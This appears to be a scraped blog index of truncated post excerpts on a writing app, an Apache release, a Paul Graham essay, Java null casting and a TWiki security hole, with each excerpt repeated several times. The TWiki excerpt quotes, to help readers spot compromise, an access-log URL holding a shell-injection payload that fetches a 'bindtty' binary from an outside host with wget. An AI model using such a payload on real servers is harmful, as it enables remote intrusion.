Merlin recently posted a description of Ulysses, an OS X text editor targeted at creative writing. I don't do much writing anymore (can you tell?} but I went to the site anyway for a quick looksee. One of the features that struck me was fullscreen mode. Maybe it's that the background and text colors are different than the GUI-screen version,...

Merlin recently posted a description of Ulysses, an OS X text editor targeted at creative writing. I don't do much writing anymore (can you tell?} but I went to the site anyway for a quick looksee. One of the features that struck me was fullscreen mode. Maybe it's that the background and text colors are different than the GUI-screen version,...

Merlin recently posted a description of Ulysses, an OS X text editor targeted at creative writing. I don't do much writing anymore (can you tell?} but I went to the site anyway for a quick looksee. One of the features that struck me was fullscreen mode. Maybe it's that the background and text colors are different than the GUI-screen version,...

According to the 1.3.33 anouncement Apache 1.3.32 was never formally released. That was quite a surprise to me as this server (running this and all the OpenInteract infrastructure) is marked as stable only and portage had announced the upgrade to be available. Unfortunately a bug in 1.3.32 (described best here) meant some parts of the...

According to the 1.3.33 anouncement Apache 1.3.32 was never formally released. That was quite a surprise to me as this server (running this and all the OpenInteract infrastructure) is marked as stable only and portage had announced the upgrade to be available. Unfortunately a bug in 1.3.32 (described best here) meant some parts of the...

According to the 1.3.33 anouncement Apache 1.3.32 was never formally released. That was quite a surprise to me as this server (running this and all the OpenInteract infrastructure) is marked as stable only and portage had announced the upgrade to be available. Unfortunately a bug in 1.3.32 (described best here) meant some parts of the...

According to the 1.3.33 anouncement Apache 1.3.32 was never formally released. That was quite a surprise to me as this server (running this and all the OpenInteract infrastructure) is marked as stable only and portage had announced the upgrade to be available. Unfortunately a bug in 1.3.32 (described best here) meant some parts of the...

Made in USA - Another essay by Paul Graham. Worth a read. (from ziggy) In software, paradoxical as it sounds, good craftsmanship means working fast. If you work slowly and meticulously, you merely end up with a very fine implementation of your initial, mistaken idea. Working slowly and meticulously is premature optimization. Better to get a...

Made in USA - Another essay by Paul Graham. Worth a read. (from ziggy) In software, paradoxical as it sounds, good craftsmanship means working fast. If you work slowly and meticulously, you merely end up with a very fine implementation of your initial, mistaken idea. Working slowly and meticulously is premature optimization. Better to get a...

Made in USA - Another essay by Paul Graham. Worth a read. (from ziggy) In software, paradoxical as it sounds, good craftsmanship means working fast. If you work slowly and meticulously, you merely end up with a very fine implementation of your initial, mistaken idea. Working slowly and meticulously is premature optimization. Better to get a...

Made in USA - Another essay by Paul Graham. Worth a read. (from ziggy) In software, paradoxical as it sounds, good craftsmanship means working fast. If you work slowly and meticulously, you merely end up with a very fine implementation of your initial, mistaken idea. Working slowly and meticulously is premature optimization. Better to get a...

I never thought about it before, but it turns out you can cast null with no ill effects. Here's an example: public class CastNull { public static void main( String[] args ) { Object someNull = null; String castedFromObject = (String)someNull; try { out( "Length: " + castedFromObject.length() ); } catch ( NullPointerException e ) { out( "Caught...

I never thought about it before, but it turns out you can cast null with no ill effects. Here's an example: public class CastNull { public static void main( String[] args ) { Object someNull = null; String castedFromObject = (String)someNull; try { out( "Length: " + castedFromObject.length() ); } catch ( NullPointerException e ) { out( "Caught...

TWiki Input Validation Hole in Search Function Lets Remote Users Execute Shell Commands - This one got me at the OpenInteract wiki site. How do you know you've been bit? Check your access log for a GET URL like: search/TWiki/?search=doesnotexist1%27%3B+%28wget+http%3A%2F%2Fblank.exitnic .net%2Fbindtty%3B+chmod+777+bindtty... As long as your web...

TWiki Input Validation Hole in Search Function Lets Remote Users Execute Shell Commands - This one got me at the OpenInteract wiki site. How do you know you've been bit? Check your access log for a GET URL like: search/TWiki/?search=doesnotexist1%27%3B+%28wget+http%3A%2F%2Fblank.exitnic .net%2Fbindtty%3B+chmod+777+bindtty... As long as your web...